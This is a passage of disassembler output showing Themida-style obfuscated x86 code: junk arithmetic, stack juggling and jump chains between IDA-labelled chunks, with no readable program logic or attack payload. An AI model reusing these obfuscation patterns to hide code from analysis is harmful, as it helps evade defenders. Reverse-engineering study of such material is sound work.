78061F0Ah or edi, 30295880h sub edi, 643F0214h xor edi, 5F575F8Eh push ebx mov ebx, 9B76AE3h jmp loc_58DB69 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586650 loc_5844C0: ; CODE XREF: sub_586650+7j pop edx add [esp+8+var_4], edx pop edx jmp loc_58F6C0 ; END OF FUNCTION CHUNK FOR sub_586650 ; --------------------------------------------------------------------------- loc_5844CB: ; CODE XREF: Themida_:0058D1B8j xchg ebp, [esp] pop esp mov [esp], edx mov dl, 19h not dl inc dl xor dl, 8Ah add dl, 4 push ebx mov bh, 0BCh shr bh, 4 sub bh, 0D3h add dl, bh pop ebx jmp loc_58D6B9 ; --------------------------------------------------------------------------- loc_5844EF: ; CODE XREF: Themida_:0058EF68j pop ebx xor ebx, esi pop esi add edx, ebx pop ebx push ebx mov ebx, 2 add edx, ebx pop ebx jmp loc_58A416 ; --------------------------------------------------------------------------- loc_584504: ; CODE XREF: Themida_:0058DB64j mov edx, [esp] push esi jmp loc_58C9AB ; --------------------------------------------------------------------------- lodsb jmp loc_58A918 ; --------------------------------------------------------------------------- loc_584513: ; CODE XREF: Themida_:0058650Aj mov dh, 14h dec dh push ax mov ah, 0 xor dh, ah pop ax push ecx jmp loc_589837 ; --------------------------------------------------------------------------- loc_584525: ; CODE XREF: Themida_:0058F7E5j pop ebx push esi mov esi, 0FC059C5Bh jmp loc_588978 ; --------------------------------------------------------------------------- mov ecx, [esp] push 7032h mov [esp], ecx push esp jmp loc_585F74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584542: ; CODE XREF: sub_585452-EEFj pop edi add esp, 4 jmp loc_58D87C ; --------------------------------------------------------------------------- loc_58454B: ; CODE XREF: sub_585452+34C0j add eax, 4 sub esp, 4 mov [esp+0], edi mov edi, 4 add eax, edi push dword ptr [esp+0] jmp loc_584542 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_584568: ; CODE XREF: sub_58EFBD-6846j add esp, 4 xchg edi, [esp+0] mov esp, [esp+0] mov [esp+0], ebx mov ebx, 696208B8h jmp loc_58E43A ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58457E: ; CODE XREF: sub_585452+33E6j xchg edx, ecx not edx xchg edx, ecx push 40Ch mov [esp-8+arg_4], ecx push [esp-8+arg_8] mov ecx, [esp-4+arg_0] jmp sub_58F3BC ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584598: ; CODE XREF: Themida_:0058D4D0j add ebx, 140D4DEEh or ebx, 0A0F7F39h add ebx, 24708009h add edi, ebx pop ebx push ebx mov ebx, 2 add edi, ebx mov ebx, [esp] push edi mov edi, esp add edi, 4 jmp loc_586D1D ; --------------------------------------------------------------------------- loc_5845C6: ; CODE XREF: Themida_:00586E47j mov [esp], ebx mov bl, 1Ah sub bl, 1 push 50E7h mov [esp], edx mov dl, 38h dec dl jmp loc_587E5B ; --------------------------------------------------------------------------- loc_5845DF: ; CODE XREF: Themida_:00588D4Aj pop esp sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_589C75 ; --------------------------------------------------------------------------- loc_5845FD: ; CODE XREF: Themida_:00586827j add edx, 4 jmp loc_58E5C1 ; --------------------------------------------------------------------------- loc_584608: ; CODE XREF: Themida_:00588EA8j mov cx, [esp] push 591Bh mov [esp], ebp jmp loc_58A9BB ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) ; --------------------------------------------------------------------------- jmp loc_5879ED ; --------------------------------------------------------------------------- loc_584621: ; CODE XREF: Themida_:0058B919j xor [esp], edx xor edx, [esp] mov esp, [esp] xor [esp], eax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E931 loc_584633: ; CODE XREF: sub_58E931-1CFFj pop edx pop edi sub edi, 6D374C8h pop eax jmp loc_588FBA ; END OF FUNCTION CHUNK FOR sub_58E931 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584641: ; CODE XREF: sub_585452+96B9j sub ch, 1 not ch add ch, 4Eh sub bl, 0D8h add bl, 29h sub bl, ch sub bl, 29h add bl, 0D8h mov cx, word ptr [esp-4+arg_0] add esp, 2 movzx eax, al jmp loc_58978B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584669: ; CODE XREF: Themida_:0058B48Aj add eax, 0C4063EA6h push eax add dword ptr [esp], 3DBB6B15h jmp loc_58C7B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58467B: ; CODE XREF: sub_585452+9206j add eax, 48A6431Eh mov esi, [esp-8+arg_4] sub esp, 4 jmp loc_585B15 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58468E: ; CODE XREF: Themida_:0058A22Cj add ebx, edx pop edx push ecx jmp loc_589A33 ; --------------------------------------------------------------------------- loc_584697: ; CODE XREF: Themida_:0058A149j add dx, 1F6Eh sub dx, si sub dx, 1F6Eh add dx, 589Dh pop si shr dx, 3 xor dx, 5804h inc dx sub dx, 49B3h jmp loc_583CA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5846C0: ; CODE XREF: sub_585452+8E8Dj add ecx, 4 push esi mov esi, 4 jmp loc_586B75 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5846D1: ; CODE XREF: Themida_:0058979Dj add ecx, 56EF0532h push ebp mov ebp, 0C53B6D72h xor ecx, ebp pop ebp add edi, ecx jmp loc_588C44 ; --------------------------------------------------------------------------- loc_5846E7: ; CODE XREF: Themida_:00583C93j pop esp jmp loc_58901E ; --------------------------------------------------------------------------- loc_5846ED: ; CODE XREF: Themida_:00587F76j xor ebp, [esp] jmp loc_58F870 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E931 loc_5846F5: ; CODE XREF: sub_58E931-43E7j push eax jmp loc_583CC6 ; END OF FUNCTION CHUNK FOR sub_58E931 ; --------------------------------------------------------------------------- loc_5846FB: ; CODE XREF: Themida_:0058C663j mov edi, 4402420Bh push 1B24h mov [esp], esi mov esi, 798F0CE8h and edi, esi jmp loc_58A353 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BB49 loc_584714: ; CODE XREF: sub_58BB49+17j add [esp+arg_0], 13532E8Bh mov edx, [esp+0] jmp loc_5888D5 ; END OF FUNCTION CHUNK FOR sub_58BB49 ; --------------------------------------------------------------------------- loc_584724: ; CODE XREF: Themida_:0058738Cj push edx mov edx, 4 add esi, 368B254Fh add esi, edx push ebx mov ebx, 253A2E09h jmp loc_58FDBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C92B loc_58473D: ; CODE XREF: sub_58C92B-5FB0j xor ebx, 0AC1F2C13h mov edx, ebx pop ebx shl edx, 5 sub esp, 4 mov [esp+0], edx neg dword ptr [esp+0] jmp loc_5857C2 ; END OF FUNCTION CHUNK FOR sub_58C92B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_584757: ; CODE XREF: sub_58FA66-8A93j push edx jmp loc_58A4D4 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58475D: ; CODE XREF: sub_585452+7902j push esp mov ebp, [esp+4+var_4] add esp, 4 add ebp, 4 add ebp, 4 xchg ebp, [esp+0] pop esp push 6179h jmp loc_5869D2 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DEA3 loc_58477B: ; CODE XREF: sub_58DEA3-1B24j pop ecx mov cl, dl pop edx jmp loc_586E88 ; END OF FUNCTION CHUNK FOR sub_58DEA3 ; --------------------------------------------------------------------------- loc_584784: ; CODE XREF: Themida_:0058E060j push 3375h mov [esp], edx mov dx, 2E47h jmp loc_584B22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D97C loc_584795: ; CODE XREF: sub_58D97C+246j mov ecx, 1 jmp loc_58DC03 ; END OF FUNCTION CHUNK FOR sub_58D97C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_58479F: ; CODE XREF: sub_589967-5776j and ebp, 330943EFh sub ebp, 0DC8CB2F0h xor edx, ebp jmp loc_588AD5 ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F728 loc_5847B2: ; CODE XREF: sub_58F728-5D9Aj push edi push 4B6C4E4Ch pop edi xor edi, 49630FD4h mov ebp, edi pop edi sub ebp, 3D1401E0h or ebp, 2CD61EFDh sub ebp, 0E47BFDC9h add edx, ebp pop ebp add edx, esi jmp sub_58C92B ; END OF FUNCTION CHUNK FOR sub_58F728 ; --------------------------------------------------------------------------- loc_5847DE: ; CODE XREF: Themida_:00588696j jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5847E3: ; CODE XREF: sub_585452-B12j not edx xchg eax, edx push 323Ah jmp loc_585E58 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5847F0: ; CODE XREF: Themida_:00589256j sub eax, 57F35986h sub eax, ecx add eax, 57F35986h pop ecx jmp loc_58E9D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584802: ; CODE XREF: sub_585452+744Dj jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584807: ; CODE XREF: Themida_:0058B531j add ecx, edi pop edi xor ecx, [esp] jmp loc_58911B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584812: ; CODE XREF: sub_585452+471Bj add esi, ebp pop ebp jmp loc_58FBD8 ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_58481A proc near ; CODE XREF: sub_58D28B-2EC8j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00587587 SIZE 0000001D BYTES sub esp, 4 mov [esp+4+var_4], edx push edi jmp loc_587587 sub_58481A endp ; sp-analysis failed ; --------------------------------------------------------------------------- lodsb xor al, bl push edx mov dh, 6 or dh, 0D2h shl dh, 1 shr dh, 2 sub dh, 0FFh jmp loc_58B962 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58483C: ; CODE XREF: sub_585452+239Dj xor ecx, 6435F25h push eax mov eax, 64C80D3Eh sub eax, 62C5E464h jmp loc_5885DD ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 jmp loc_58D5F8 ; --------------------------------------------------------------------------- loc_58485E: ; CODE XREF: Themida_:0058EF47j xchg ecx, [esp] pop esp pop dword ptr [esp] jmp loc_58EB93 ; --------------------------------------------------------------------------- loc_58486A: ; CODE XREF: Themida_:0058E482j add edx, ebp pop ebp xchg edx, [esp] pop esp push dword ptr [esp] pop eax jmp loc_58D041 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_58D4AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_584882: ; CODE XREF: sub_58EFBD-6736j push edi mov edi, 129E5CD1h inc edi jmp loc_58C365 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_58488E: ; CODE XREF: Themida_:0058DB94j push edx mov edx, 0E9E235F3h add ebp, edx pop edx add esi, ebp jmp loc_58592D ; --------------------------------------------------------------------------- loc_58489E: ; CODE XREF: Themida_:00586904j shr ebx, 4 inc ebx add ebx, 28C52B9Eh add ebx, 2E8A1040h jmp loc_58F604 ; --------------------------------------------------------------------------- loc_5848B3: ; CODE XREF: Themida_:005851BEj mov edx, [esp] add esp, 4 push ebx jmp loc_585ACC ; --------------------------------------------------------------------------- loc_5848BF: ; CODE XREF: Themida_:0058696Cj add ecx, 4 push eax mov eax, 4 add ecx, eax pop eax xor ecx, [esp] jmp loc_589101 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A170 loc_5848D6: ; CODE XREF: sub_58A170+45E1j sub dh, 9 add ch, dh pop edx jmp loc_58C25D ; END OF FUNCTION CHUNK FOR sub_58A170 ; --------------------------------------------------------------------------- loc_5848E1: ; CODE XREF: Themida_:0058C5BDj add al, 34h add al, 9 sub al, dl sub al, 9 jmp loc_58C4A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5848EE: ; CODE XREF: sub_585452+35EEj add eax, 274F0327h push edi jmp loc_58C560 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5848F9: ; CODE XREF: Themida_:00588D6Aj xor esi, [esp] pop esp mov ax, [esp] push esi push esp pop esi push ebp mov ebp, 4 add esi, ebp pop ebp push 1404h mov [esp], ebx jmp loc_58C8C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58491A: ; CODE XREF: sub_585452+1FAAj add edi, 49A11589h pop ebx mov ecx, edi pop edi add ebx, ecx pop ecx add ebx, 4 push ebx push [esp+arg_0] pop ebx pop dword ptr [esp+0] pop esp mov edx, [esp-8+arg_4] add esp, 4 jmp loc_5847E3 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584945: ; CODE XREF: Themida_:0058816Bj add edi, 4D2243FAh jmp loc_58D10D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584950: ; CODE XREF: sub_585452+7732j add esi, ebp jmp loc_58A041 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CCD7 loc_584957: ; CODE XREF: sub_58CCD7+3A5j mov edx, esp sub esp, 4 jmp loc_58DCBC ; END OF FUNCTION CHUNK FOR sub_58CCD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584961: ; CODE XREF: sub_585452+4DBEj add cl, 0FFh not cl push ax mov ah, 45h xor cl, ah pop ax add bl, 0DCh sub bl, cl sub bl, 0DCh pop ecx jmp loc_587A21 ; --------------------------------------------------------------------------- loc_58497C: ; CODE XREF: sub_585452+447j pop esp jmp loc_58A00F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584982: ; CODE XREF: Themida_:0058B4F7j sub ecx, 645D7112h dec ecx add ecx, 0AA87BF43h sub eax, 68A0597Fh add eax, ecx push ebp mov ebp, 68A0597Fh add eax, ebp pop ebp jmp loc_5881A7 ; --------------------------------------------------------------------------- loc_5849A4: ; CODE XREF: Themida_:00586AF4j mov eax, 4 add ecx, eax jmp loc_589F3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585019 loc_5849B0: ; CODE XREF: sub_585019+A7E1j mov ebp, [esp+4+var_4] jmp loc_58AD39 ; END OF FUNCTION CHUNK FOR sub_585019 ; --------------------------------------------------------------------------- loc_5849B8: ; CODE XREF: Themida_:0058F257j pop edx add esp, 4 add esi, 2 xchg esi, [esp] pop esp mov fs:[edx], al jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5849CE: ; CODE XREF: sub_585452+2BFj push [esp-14h+arg_12+2] mov eax, [esp+0] add esp, 4 pop [esp-14h+arg_E+2] mov esp, [esp-18h+arg_12+2] push [esp-18h+arg_12+2] push [esp-14h+arg_E+2] pop ecx jmp loc_58C424 ; --------------------------------------------------------------------------- loc_5849ED: ; CODE XREF: sub_585452+97FCj pop edi pop esi add ecx, edi push dword ptr [ecx] jmp loc_58A7C4 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5849F8: ; CODE XREF: Themida_:005863BAj mov ax, [esp] push ebp push esp mov ebp, [esp] add esp, 4 push edx mov edx, 365D1171h sub edx, 1 or edx, 50DD050Dh add edx, 2CEC0C90h neg edx push ebx jmp loc_58582A ; --------------------------------------------------------------------------- push 1CF9h jmp loc_5877D4 ; --------------------------------------------------------------------------- loc_584A2E: ; CODE XREF: Themida_:0058D907j sub cl, dh jmp loc_58BEFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584A35: ; CODE XREF: sub_585452+1B64j mov [esp-18h+arg_12+2], esp jmp loc_58A191 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584A3D: ; CODE XREF: Themida_:00589E39j xor ebx, 0B52F1A47h jmp loc_58B91E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584A48: ; CODE XREF: sub_585452+95Dj bts word ptr [esp-18h+arg_12+2], ax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- loc_584A53: ; CODE XREF: sub_585452+30ECj not bh push eax jmp loc_589716 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584A5B: ; CODE XREF: Themida_:0058512Bj pop esp sub al, 64h jmp loc_58E792 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584A63: ; CODE XREF: sub_585452+1222j push 4CFBh mov [esp-0Ch+arg_8], ecx mov cl, 9Fh sub cl, 1 neg cl push cx not byte ptr [esp-0Ah+arg_4+2] pop cx add cl, 0E9h jmp loc_584EFF ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584A81: ; CODE XREF: Themida_:0058B682j mov [esp], edi mov edi, 7AB228FAh jmp loc_587CAC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_584A8E: ; CODE XREF: sub_589967+561Fj mov edi, 0C35456Ah add edi, 1C2B4B8Ah shl edi, 8 add edi, 45B0FF00h add edx, edi pop edi push 6CE1h jmp loc_583F00 ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584AAF: ; CODE XREF: sub_585452+28E3j sub eax, 58742948h shl eax, 7 xor eax, 2D093904h add ebp, eax pop eax add ebp, 4 xchg ebp, [esp+0] pop esp jmp loc_587499 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584ACB: ; CODE XREF: Themida_:00588D33j push ebp mov ebp, 6F5C245Ch jmp loc_58BB2B ; --------------------------------------------------------------------------- mov ax, [esp] push 4059h mov [esp], edi push 733Bh push esp pop dword ptr [esp] jmp loc_58FC6F ; --------------------------------------------------------------------------- loc_584AF0: ; CODE XREF: Themida_:0058B0CCj add ecx, 4 push 7019h mov [esp], esi mov esi, 2 sub ecx, 1C7A0C30h sub ecx, 101B2B9Bh add ecx, esi add ecx, 101B2B9Bh add ecx, 1C7A0C30h jmp loc_58BC2A ; --------------------------------------------------------------------------- loc_584B22: ; CODE XREF: Themida_:00584790j push si jmp loc_58AD68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584B29: ; CODE XREF: sub_585452+375j push edx jmp loc_586BB1 ; --------------------------------------------------------------------------- loc_584B2F: ; CODE XREF: sub_585452+855j pop esp push [esp-14h+arg_E+2] jmp loc_58E7E8 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_584B38: ; CODE XREF: sub_58EFBD-5872j or ebp, ecx jmp loc_58CC00 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_584B3F: ; CODE XREF: Themida_:0058B8F7j mov [esp], ecx push 10F3h mov [esp], ebx mov ebx, 798E1FB3h mov ecx, 799358FAh sub ecx, ebx mov ebx, [esp] add esp, 4 push 2EFFh mov [esp], esi mov esi, ecx jmp loc_58B9AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_584B6B: ; CODE XREF: sub_58FA66-68FFj neg eax jmp loc_584DA7 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584B72: ; CODE XREF: sub_585452+169j pop dword ptr [esp+0] jmp loc_58D98B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584B7A: ; CODE XREF: Themida_:0058F79Bj push ebp push eax push 57D763BDh jmp loc_58F2B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584B86: ; CODE XREF: sub_585452+8865j push ecx mov cl, 5Eh jmp loc_58AB2F ; --------------------------------------------------------------------------- loc_584B8E: ; CODE XREF: sub_585452+8CDFj pop ebp jmp loc_58AE60 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584B94: ; CODE XREF: Themida_:005879E8j pop ecx jmp loc_58FEB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_584B9A: ; CODE XREF: sub_58EFBD+747j mov ebp, eax pop eax jmp loc_58F71E ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584BA2: ; CODE XREF: sub_585452+547Cj neg eax shr eax, 8 dec eax jmp loc_588E3A ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584BAD: ; CODE XREF: Themida_:0058E85Cj xor ebx, 0AAE8A4ACh add ecx, ebx pop ebx jmp loc_585C05 ; --------------------------------------------------------------------------- loc_584BBB: ; CODE XREF: Themida_:0058EA08j jmp loc_583C20 ; --------------------------------------------------------------------------- loc_584BC0: ; CODE XREF: Themida_:0058A5C3j add al, bl sub al, 0CDh push ebx jmp loc_58B7AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584BCA: ; CODE XREF: sub_585452+6CF1j pop ecx jmp loc_586141 ; --------------------------------------------------------------------------- loc_584BD0: ; CODE XREF: sub_585452+5A1Dj add [esp-18h+arg_16+2], ebx pop ebx add [esp-1Ch+arg_16+2], 4F2B74B1h add [esp-1Ch+arg_16+2], 6801D10h jmp loc_58C12F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_584BE8: ; CODE XREF: sub_58C230+3084j pop eax push edi push [esp+arg_0] pop edi pop dword ptr [esp+0] pop esp add eax, 4 add eax, 4 xchg eax, [esp-8+arg_4] pop esp sub edi, 53CF6FA4h push ecx jmp loc_587263 ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- loc_584C0D: ; CODE XREF: Themida_:00587436j push 3C06h mov [esp], ebx push 36AEh mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] push eax push 6DDCh mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 jmp loc_5885AF ; --------------------------------------------------------------------------- loc_584C3F: ; CODE XREF: Themida_:00585FD8j shr eax, 5 jmp loc_5886FA ; --------------------------------------------------------------------------- mov ecx, [esp] push 174Fh mov [esp], edi push esp pop edi push ebp push ebx mov ebx, 4 mov ebp, ebx jmp loc_5890CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584C62: ; CODE XREF: sub_585452+C65j sub dh, 83h sub al, dh pop edx jmp loc_58FA13 ; --------------------------------------------------------------------------- loc_584C6D: ; CODE XREF: sub_585452+5A57j mov ebp, esp add ebp, 4 push edi mov edi, 4 add ebp, edi pop edi xchg ebp, [esp-20h+arg_1A+2] pop esp push edx mov edx, 2C9874C6h not edx shl edx, 1 neg edx not edx not edx sub edx, 365BB734h xor eax, edx pop edx push 23C6h jmp loc_5862D1 ; --------------------------------------------------------------------------- loc_584CA5: ; CODE XREF: sub_585452+A801j add edi, 85738F4Bh mov edx, edi pop edi jmp loc_587120 ; --------------------------------------------------------------------------- loc_584CB3: ; CODE XREF: sub_585452+94A8j sub bl, 6Ch sub bl, ah push cx mov cl, 6Ch sub bl, 0F7h sub bl, 0C7h add bl, cl push edx jmp loc_58C525 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_584CCA: ; CODE XREF: sub_587574+4FFj pop ebx add ebx, 4 push ebp mov ebp, 4 add ebx, 59F53D34h sub ebx, ebp sub ebx, 59F53D34h jmp loc_58CA46 ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584CEA: ; CODE XREF: sub_585452+6FEj xor edx, [esp-1Eh+arg_1A] xor [esp-1Eh+arg_1A], edx jmp loc_5870B7 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584CF5: ; CODE XREF: Themida_:0058CE27j push eax jmp loc_58A7AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584CFB: ; CODE XREF: sub_585452+7FA0j mov ebx, 0 push ecx mov ecx, 3CA12C82h shr ecx, 2 jmp loc_588F2E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584D0E: ; CODE XREF: Themida_:00587B19j add edi, 4 push edx mov edx, 4 add edi, edx pop edx xchg edi, [esp] pop esp push ebx jmp loc_588E56 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584D27: ; CODE XREF: sub_585452+53F9j dec eax xchg eax, esi push edx mov edx, 58F703A9h dec edx or edx, 78082D05h xor edx, 767C629Ah sub esi, edx pop edx mov ebx, esi mov esi, [esp-1Ah+arg_16] add esp, 4 add ebx, 3144B9Bh add ebx, edi sub ebx, 3144B9Bh sub esp, 4 jmp loc_585E44 ; --------------------------------------------------------------------------- loc_584D60: ; CODE XREF: sub_585452+32DBj and ecx, ebx pop ebx jmp loc_5877E9 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push esi push esp pop esi push edx mov edx, 4 sub esi, 4A7A77F0h add esi, edx add esi, 4A7A77F0h pop edx jmp loc_5866E8 ; --------------------------------------------------------------------------- loc_584D91: ; CODE XREF: Themida_:005870C6j not bh xor bh, 0E3h push dx mov dl, 77h sub bh, dl jmp loc_58C2A3 ; --------------------------------------------------------------------------- loc_584DA1: ; CODE XREF: Themida_:0058F501j push esp jmp loc_589691 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_584DA7: ; CODE XREF: sub_58FA66-AEF9j sub eax, 348B20A6h xor esi, eax jmp loc_58D4A2 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584DB3: ; CODE XREF: sub_585452+76C8j add esi, eax jmp loc_58B3AF ; --------------------------------------------------------------------------- loc_584DBA: ; CODE XREF: sub_585452+2AECj push eax jmp loc_588910 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- lodsd add eax, 6D715E9h add eax, 12D1067h add eax, 75A18BBh sub eax, ebx push edx mov edx, 75A18BBh sub eax, 2DC7366Fh sub eax, edx add eax, 2DC7366Fh mov edx, [esp] jmp loc_587CC2 ; --------------------------------------------------------------------------- loc_584DEC: ; CODE XREF: Themida_:0058E9CDj xchg ebx, [esp] mov esp, [esp] mov ax, [esp] push eax mov eax, esp add eax, 4 jmp loc_58F25C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584E03: ; CODE XREF: sub_585452+7D19j pop ebx add esp, 4 jmp loc_58BC61 ; --------------------------------------------------------------------------- loc_584E0F: ; CODE XREF: sub_585452-59Dj inc cl shr cl, 5 sub cl, 0FCh sub ah, cl pop ecx add ah, 94h sub ch, ah pop eax jmp loc_5894FC ; --------------------------------------------------------------------------- loc_584E25: ; CODE XREF: sub_585452+3CC4j pop esp mov [esp-2Eh+arg_28+2], edx mov edx, 28h sub edx, 5A216727h sub edx, 16015B31h add edx, edi add edx, 16015B31h add edx, 5A216727h push ebx mov ebx, 0 add ebx, 1C465D99h add ebx, edx sub ebx, 1C465D99h push dword ptr [ebx] sub dword ptr [esp+0], 42F7481Ah pop eax jmp loc_58A42B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584E6B: ; CODE XREF: Themida_:0058FA0Ej xor bl, al jmp loc_58694B ; --------------------------------------------------------------------------- loc_584E72: ; CODE XREF: Themida_:00588997j add edx, ebp jmp loc_5894E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_584E79: ; CODE XREF: sub_58999B+611Bj mov [esp+0], dx jmp loc_58EE8D ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584E82: ; CODE XREF: sub_585452+6946j pop ecx push [esp-2Eh+arg_28+2] pop ebx add esp, 4 add eax, 4 xchg eax, [esp-32h+arg_2C+2] pop esp bswap eax push ecx mov ecx, esp push 15D5h mov [esp-2Eh+arg_28+2], esi mov esi, 624D0F60h jmp loc_58A850 ; --------------------------------------------------------------------------- 